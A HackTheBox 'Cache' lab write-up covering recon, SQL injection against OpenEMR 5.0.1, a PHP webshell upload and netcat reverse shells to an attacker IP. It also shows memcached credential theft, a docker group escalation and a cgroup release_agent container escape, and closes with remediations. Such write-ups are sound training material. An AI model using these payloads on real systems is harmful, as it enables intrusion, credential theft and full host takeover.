HacktheBox 'Cache' writeup
‘Cache’ HTB Writeup
Host Information
Hostname | IP Address | Operating System | Difficulty Level |
Cache | 10.10.10.188 | Linux | Medium |
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the following command:
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/cache/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/cache/scans/xml/_full_tcp_nmap.xml" 10.10.10.188
The following ports were revealed open on the target, followed by the full nmap script output below:
10.10.10.188
Port | State | Service | Version |
---|---|---|---|
22/tcp | open | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 |
80/tcp | open | http | Apache httpd 2.4.29 |
# Nmap 7.80 scan initiated Tue Jul 7 16:23:41 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/cache/scans/_full_tcp_nmap.txt -oX /0ps/HTB/cache/scans/xml/_full_tcp_nmap.xml 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up, received user-set (0.034s latency).
Scanned at 2020-07-07 16:23:41 CDT for 66s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3lyySrN6q6RWe0mdRQOvx8TgDiFAVhicR1h3UlBANr7ElILe7ex89jpzZSkhrYgCF7iArq7PFSX+VY52jRupsYJp7V2XLY9TZOq6F7u6eqsRA60UVeqkh+WnTE1D1GtQSDM2693/1AAFcEMhcwp/Z7nscp+PY1npxEEP6HoCHnf4h4p8RccQuk4AdUDWZo7WlT4fpW1oJCDbt+AOU5ylGUW56n4uSUG8YQVP5WqSspr6IY/GssEw3pGvRLnoJfHjARoT93Fr0u+eSs8zWhpHRWkTEWGhWIt9pPI/pAx2eAeeS0L5knZrHppoOjhR/Io+m0i1kF1MthV+qYjDjscf
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
| 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/7%OT=22%CT=1%CU=43614%PV=Y%DS=2%DC=T%G=Y%TM=5F04E81F
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)OPS(O1=M5
OS:4DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O
OS:6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D
OS:F=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 6.375 days (since Wed Jul 1 07:24:04 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 34.14 ms 10.10.14.1
2 34.19 ms 10.10.10.188
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 7 16:24:47 2020 -- 1 IP address (1 host up) scanned in 66.38 seconds
nmap scan observations
So we can see that the target is Linux, with an HTTP service open on the standard port 80, running Apache 2.4.29. Additionally SSH is running on the standard port 22, identifying as OpenSSH 7.6.p1. The versions of both Apache and SSH indicate that the target is likely the linux flavour Ubuntu Bionic or later (reference)
HTTP enumeration
SSH is unlikely to provide an initial foothold without other information, so let’s start with enumerating HTTP. The robots.txt resource does not seem to exist, but a nikto scan of the site does seem to reveal a potentially interesting page, as shown in the results below:
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.188
+ Target Hostname: 10.10.10.188
+ Target Port: 80
+ Start Time: 2020-07-07 16:23:51 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2001, size: 5a4f70909088c, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 7863 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2020-07-07 16:29:29 (GMT-5) (338 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
A gobuster scan of the website to crawl/spider and enumerate resources is also run alongside nikto, with the results shown below, filtering out HTTP 403 Forbidden Statuses:
initinfosec@kali:/0ps/HTB/cache/scans$ cat tcp_80_http_gobuster.txt | grep -v 403
/author.html (Status: 200) [Size: 1522]
/contactus.html (Status: 200) [Size: 2539]
/index.html (Status: 200) [Size: 8193]
/index.html (Status: 200) [Size: 8193]
/javascript (Status: 301) [Size: 317]
/jquery (Status: 301) [Size: 313]
/login.html (Status: 200) [Size: 2421]
/net.html (Status: 200) [Size: 290]
/news.html (Status: 200) [Size: 7231]
Going to the main site on port 80, we’re greeted by the index page which seems to talk about various types of hackers in a definition kind of way. It also mentions ‘Welcome to cache.htb’, so let’s go ahead and added cache.htb to our /etc/hosts file with the corresponding IP to the host. Viewing a few of the pages from the index, it looks like most are flat html pages. http://10.10.10.188/contactus.html has text boxes which could potentially be used to test for command injection, XSS, or similar, but looks fairly innocuous at first glance.
Going to http://10.10.10.188/login.html as expected takes us to a login page. Trying basic credentials like ‘cache’/’admin’ and ‘admin’/’admin’ do not seem to work. We see from the page source (shown below) that the login appears to be making a POST request to net.html, but no credentials seem to be evident in the page source.
<div class="aa">
<form id="loginform" action="net.html", method="POST">
Username: <input type="username" id="username" placeholder="please enter username..."><br><br>
Password: <input type="password" id="password" placeholder="please enter password..." required><br><brvalue="FakePSW" id="myInput"><br>
<input type="submit" class="btn btn-primary" value="Login">
<button type="button" class="btn btn-primary" onclick="window.location.href='#'" >forget passwd</button>
</form>
</div>
Going to the net.html resource seems to briefly load something, and then redirect to the login page almost instantaneously. Using wget to grab the net.html page, we see the following:
<html>
<head>
<body onload="if (document.referrer == '') self.location='login.html';">
<style>
body {
background-color: #cccccc;
}
</style>
</head>
<center>
<h1> Welcome Back!</h1>
<img src="4202252.jpg">
<h1>This page is still underconstruction</h1>
</center>
</body>
</html>
Browsing to the javascript directory turned up in the initial gobuster scan, it seems we’re disallowed from viewing the page/resource. However, visiting jquery shows a directory listable page, with one file, functionality.js. Viewing the js file at http://10.10.10.188/jquery/functionality.js, we see the following:
$(function(){
var error_correctPassword = false;
var error_username = false;
function checkCorrectPassword(){
var Password = $("#password").val();
if(Password != 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username = $("#username").val();
if(Username != "ash"){
alert("Username didn't Match");
error_username = true;
}
}
$("#loginform").submit(function(event) {
/* Act on the event */
error_correctPassword = false;
checkCorrectPassword();
error_username = false;
checkCorrectUsername();
if(error_correctPassword == false && error_username ==false){
return true;
}
else{
return false;
}
});
});
From this, we can determine the username seems to be “ash”, and the password “H@v3_fun” - assuming the login references/utilizes the functionality.js script. Testing these credentials, we see they work, and we’re presented with the following page:
The source of the page seems to have nothing of use within it. Trying the creds use to log in to the page over SSH does not seem to work.
Running a more in-depth scan with recursion (I’m using ffuf, but dirb, dirbuster, dirsearch, and others would work fine as well), we find a previously unknown asset under the javascipt folder, in a subfolder named jquery: jquery.js. (This is found with ffuf instead because gobuster is not natively recursive.) However, the js file does not seem to yield much useful information, and seems largely a supporting file for the site functionality itself.
Let’s move on to trying to observe dynamic content, or items that might be leveraging a script of some sort vs a flat HTML file. We can begin by checking for URI tampering on contact us page. We see the page uses query strings in the URL to pass parameters on the “Contact Us” form submitted, e.g. http://cache.htb/contactus.html?firstname=initinfosec&lastname=initinfosec&country=canada&subject=this+is+a+test#. However, trying multiple options of command injection, LFI, and RFI via the parameters in the URL, as well as in the text box, doesn’t seem to yield any obvious signs of exploitability.
Checking out content of the site again, we go back to the author page, and notice the following bit:
ASH is a Security Researcher (Threat Research Labs), Security Engineer. Hacker, Penetration Tester and Security blogger. He is Editor-in-Chief, Author & Creator of Cache. Check out his other projects like Cache:
HMS(Hospital Management System)
Adding hms.htb to our /etc/hosts files and browsing to that URI, we’re presented with an entirely different site, finding a login page, as shown below:
Trying the previously used creds “ash / H@v3_fun” doesn’t seem to work, though. Let’s run another web crawler/enum scan on the new hostname hms.htb using ffuf, with the following command:
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://hms.htb/FUZZ -recursion -e .txt,.html,.php,.tar,.htm
Viewing the scan results, we see that admin.php shows as openly accessible. Going there, we see the following:
Further searching OpenEMR shows this to be an actual public, open-source software, as shown here: https://www.open-emr.org/. We see from the admin.php page that the version is 5.0.1 (3).
We see a number of EDB results for RCE for this version, as shown below in the searchsploit results. It seems most, if not all of these, require authentication:
initinfosec@kali:/0ps/HTB/cache/scans$ searchsploit openemr 5.0.1
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution | php/webapps/48515.py
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Trying some basic credentials such as ‘admin/admin’ or ‘admin/password’ do not seem to work. A quick web search shows the default credentials on a fresh install of OpenEMR might be ‘admin/pass’ but that does not work either. Further searching seems to show that after early versions of OpenEMR 4, default usernames and passwords are no longer setup.
With some obvious credentials not panning out, we’ll want to look at potential methods of authentication bypass or obtaining valid creds, without resorting to brute-force (e.g. hydra) until a last-ditch effort. After some searching on “OpenEMR 5.0.1 authentication bypass”, we come across this great resource hosted on the OpenEMR site itself, showing a security assessment report for the version of the software that is an exact match for the one on the target - 5.0.1(3) - https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf. Reading through this, we do see several authenticated RCEs, much like we found on EDB and Google earlier, but again, we don’t have auth yet.
However, reading further reveals a key point - it appears if we go to the /portal URL, we’re presented with a different login, a patient login portal, rather than an admin or clinician login on the main page. While we don’t have auth to this either, the PDF states that if you hit the registration page/button from the portal, you are then able to access certain resources within the portal directory without having valid credentials. Testing this, it appears to hold true on the target. Now that we know we can use these resources without auth, we see there are several SQL injection points on some of these pages, which as the PDF states, either require login, or can be chained with the authentication bypass, which we just performed. We’ll test in order on SQL injections for the portal as they appear in the PDF, starting with the Appointment Finder, found on page 8 of the PDF.
gaining an initial foothold
The find_appt_popup_user.php resource can be used with the auth bypass, and is vulnerable to SQLi, following the ‘catid’ parameter. The injection syntax likely looks something like below (N.B. that this is not the exact syntax, just an example): http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=1%27%20OR%201=1–%20-
I’ve had burp running and intercepting requests to just about every page in the OpenEMR site on the target while browsing, so we can grab the raw request details from burp to the appointment finder URL known to be injectable, and save that to a text file. We can then pass this text file to SQLmap to provide all the details for cookies, host, and URL to test, using the following command:
sqlmap -r apptfinder-req.txt --current-db
The below screenshot shows the tail end of the sqlmap output after an injection is found, as well as the intercept text file passed to SQLmap (note your vals will differ).
[Note that two cookies are set: PHPSESSID, and OpenEMR. If the OpenEMR cookie is not set, try clearing the cache, and/or hitting the main page (not portal, hms.htb root itself) again until the OpenEMR cookie is set and shown in the HTTP intercept. The SQLmap tests will not be successful in finding injection points to any URL within portal without this cookie set - it will redirect to the main portal page and prompt for auth, as the cookie has not been set.]
Now that SQL injection vulnerability has been proven, let’s move on to exploit this vulnerability to extract data, aiming to get login information for the main portal to eventually accomplish and authenticated RCE. We already see we’re in the openemr database, so credentials for both the portal and main page login probably exist in the same db. Running the following, we can see a list of tables in the openemr DB:
sqlmap -r apptfinder-req.txt --dbms=mysql --tables
We see users, among several other tables of relevance exists. Let’s dump “users_secure” to see if we can find authentication to the main admin portal:
sqlmap -r apptfinder-req.txt --dbms=mysql --tables -T users_secure --dump
[output truncated]
Database: openemr
Table: users_secure
[1 entry]
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id | salt | username | password | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
[13:18:56] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/initinfosec/.sqlmap/output/hms.htb/dump/openemr/users_secure.csv'
[13:18:56] [INFO] fetched data logged to text files under '/home/initinfosec/.sqlmap/output/hms.htb'
[*] ending @ 13:18:56 /2020-07-09/
Great, so we see a user ‘openemr_admin’, with a salted password hash, probably bcrypt at first glance. Putting this information into a file and have john try to crack it, yields a successful crack, shown in the below screenshot:
Testing this out, we confirm the login to the main page is successful, evidenced by the screenshot below showing the admin user logged in:
Now having proper authentication, we can proceed to utilize one of the remote code execution exploits detailed in both EDB and the PDF referenced above. Using https://www.exploit-db.com/exploits/45202 as a reference, we’ll try to exploit the RCE vulnerability to upload a small PHP webshell, using the request below
POST /portal/import_template.php HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=lf6qv0u1ej3u3jllkvt59ika55; OpenEMR=1mmdeae8lo7r9efm5gj7bsg4sj
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
mode=save&docid=payload.php&content=<?php echo shell_exec($_GET['cmd']); ?>
After sending the POST request, we receive the following response:
HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 19:02:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=utf-8
1
Now, issuing a ‘whoami’ command via the webshell, we see it did indeed upload and execute, as shown below, using the URL http://hms.htb/portal/payload.php?cmd=whoami
Running a which command through the webshell, we see netcat is installed. Knowing this, let’s start a listener with sudo nc -lvnp 443
, and issue the following python command to spawn a reverse shell to our kali machine. [As always, be sure to replace your IP and port as appropriate]
http://hms.htb/portal/payload.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.42 443 >/tmp/f
This command will need to be URL encoded to work properly, yielding the following URL: http://hms.htb/portal/payload.php?cmd=rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.42+443+%3E%2Ftmp%2Ff
Once entered, we see the webserver successfully executed our reverse shell; we have gained a foothold on the target, as the www-data user, as shown below:
Lateral Movement
It looks like our iniital attempt to view the user.txt file was not successful, indicating we need to laterally move to a more standard user, in this case, “ash”
The Lateral movement here is quite simple - using the password we found earlier on the cache.htb site that gave us access to the page that showed the ‘under construction’ message, we can run su - ash
and provide the password “H@v3_fun”. This successfully gives us a shell as the user ash, as shown below:
more lateral movement
Running sudo -l
, we see the user ‘ash’ does not have privileges to run sudo. We also see the user has no cron jobs associated with their account.
Checking /etc/passwd, we see a user called ‘laffy,’ and another named ‘memcache.’ The latter seems of particular interest, as it’s related to the hostname. A quick search reveals that it’s some kind of keystore type application that runs on TCP port 11211 by default. Running a netstat command to show open sockets, we do indeed see TCP port 11211 is indeed listening from localhost.
ash@cache:~$ netstat -tulpn
netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
Knowing this, we can use telnet to connect to the service and try to dump the list of keys and related values (this reference used for syntax)
ash@cache:~$ which telnet
which telnet
/usr/bin/telnet
ash@cache:~$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats items
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 13
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 204
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 6855
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END
Great, we see a set of values called “items”, identified by the value “1”. Using the command “stats cachedump 1 0”, we can dump the entire contents of the value set “items”, with the “1” reference the set “items” and the 0 indicating to dump all values in the set (instead of a specific value, e.g. 4)
stats cachedump 1 0
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get account
get account
VALUE account 0 9
afhj556uo
END
get file
get file
VALUE file 0 7
nothing
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
get user
get user
VALUE user 0 5
luffy
END
get link
get link
VALUE link 0 21
https://hackthebox.eu
END
Interesting, we seem to have found a potential password for the user “luffy” Trying the listed username and password combo, we find that we successfully login as the user luffy, as shown below:
Privilege Escalation
PrivEsc enumeration
We see the user “luffy” cannot run sudo, but it appears they are a member of the docker group.
luffy@cache:~$ sudo -l
[sudo] password for luffy:
Sorry, user luffy may not run sudo on cache.
luffy@cache:~$ groups
luffy docker
gainining a root shell
Membership to the docker group often provides a good avenue to root privilege escalation. Normally, on an outwardly connected machine, we could run something similar to the following:
docker run -v /root:/mnt it alpine
Since docker has certain innate privileges, this would create the machine named ‘alpine’ if it didn’t already exist, mount the entire root filesystem in /mnt on the docker image, and spawn a shell into the container image as root. However, when we try this, we see that there are no existing docker containers, and docker/the host cannot pull an image externally to create a new image locally since the host does not have external internet access, as shown below:
luffy@cache:~$ docker container ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
luffy@cache:~$ docker run -v /root:/mnt it alpine
Unable to find image 'it:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution.
See 'docker run --help'.
However, we see that if we list images instead, we have one prebuilt and ready to be run:
luffy@cache:~$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 9 months ago 64.2MB
So we can indeed run a very similar command to the format of the generic docker run escape (GTFObins reference here) as shown below:
luffy@cache:~$ docker run -v /:/mnt -it ubuntu
Doing so spawns us into a root shell in the container on the target host, with the root filesystem mounted within the container at /mnt, essentially allowing us full access to the target system, as shown below:
From here, the possibilities abound. We could:
-
view sensitive files (such as root.txt) on the target host via the /mnt directory
-
could write a cron job, SUID script or binary to the host system to execute a reverse shell to our assessing system, or spawn a local shell. If we created these from the container and then dropped back to the user shell on the host, as long as they were accessible or executable, they would still be executed as root, since our current in the container is root, and the root UID of 0 is stnadard/consistent between the container and host.
-
We could also add a user to the /etc/passwd file (via /mnt/etc/passwd) with a UID of 0 and once back on the host, su -
to gain a reverse shell -
We could create a local SSH keypair on kali with
ssh-keygen -t rs
and write the .pub key to /mnt/root/.ssh/authorized_keys. Once written we could SSH from our system into root usingssh root@cache.htb -i \
</code>.
However, I want to try something a bit different. From some brief reading on docker and containers, it looks like we can potentially further this exploit to try and essentially escape out of the container image to root on the target host, as described in the reference here. To start testing this, let’s drop out of the container, stop it, and start the ubuntu instance again as privileged, using the command shown below:
luffy@cache:~$ docker run -v /:/mnt -it --privileged ubuntu /bin/bash
Now let’s start a netcat listener on kali with sudo nc -lvnp 443
And now from the container we can run:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.42 443 >/tmp/f" > /mnt/home/luffy/root.sh >> /cmd
chmod 4777 /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
We see that upon execution, our reverse shell command was run from the host as root, spawning a “full” reverse shell from the target, served to our attacking/assessing kali box. The below screenshot shows this, with the top left pane showing the “luffy” account and privileges, the bottom left pane showing the root shell within the docker instance, and the right pane showing the reverse shell from the host itself, caught locally.
Note that the above method generally only works if the container is started in privileged mode and the container user has a UID of 0. As noted above, this method wasn’t necessary for this particular box as we already had local host access, but it would be useful if one started out in a container and needed to break out to the underlying host. Again however, the method is likely null and void if the container is not running in the privileged context, meaning we got ‘lucky’ here with the ability to start the image in that mode. However, as shown in the link above, there’s queries you can run from the container image to see if it’s privileged mode or not, and if it was, you might be in luck for a container escape.
Conclusion
Recommended Remediations
-
The OpenEMS install should be patched to address the SQLi injection and authentication bypass vulnerabilities exploited during this test, as well as a number of other vulnerabilities in the currently installed version of the program. User input should always be sanitized, with the SQL database utilizing paramterized queries to help stave off SQL injection.
-
Avoiding placing/having credentials in plaintext, either in assets/files on the webserver (even if they’re not directly visible) such as in the case of the functionality.js script found during the assessment, or stored in other means in cleartext which can be queried, as in the case of the credentials in the memcache store also found during the assessment.
-
A web application firewall (WAF) should be considered being implemented, or an IDS/IPS, in order to detect, alert, and/or potentially stop malicious activity by detecting unusual traffic and/or behavours that deviate from the normal baseline for the server.
-
The docker group should not be granted to users unless they are trusted with privileged level access, as having this group roughly equates to sudo access on the host.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!